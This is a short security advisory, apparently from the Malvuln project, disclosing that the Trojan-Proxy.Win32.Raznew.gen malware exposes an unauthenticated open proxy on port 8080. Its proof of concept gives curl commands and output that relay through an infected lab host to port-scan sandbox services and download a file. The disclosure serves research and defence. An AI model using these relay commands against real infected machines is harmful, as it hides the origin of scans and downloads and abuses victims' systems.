Trojan-Proxy.Win32.Raznew.gen Unauthenticated Open Proxy

Trojan-Proxy.Win32.Raznew.gen malware suffers from an unauthenticated open proxy vulnerability.


MD5 | 5503423c307a4accb81feb9cc2b30fb8

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/55ce4b6c2ec10838c54dca54d96801d6.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Trojan-Proxy.Win32.Raznew.gen
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP port 8080. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: 55ce4b6c2ec10838c54dca54d96801d6
Vuln ID: MVID-2021-0316
Disclosure: 08/11/2021

Exploit/PoC:
Scan ports)

curl -x http://192.168.18.129:8080 http://192.168.18.128:21
220 INetSim FTP Service ready.
500 Unknown command.

curl -x http://192.168.18.129:8080 http://192.168.18.128:110
+OK INetSim POP3 Server ready <[email protected]>
-ERR Unknown command.

Download filez)

curl -x http://192.168.18.129:8080 http://192.168.18.237/DOOM.exe --output DOOM.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 11776 100 11776 0 0 11776 0 0:00:01 --:--:-- 0:00:01 244k


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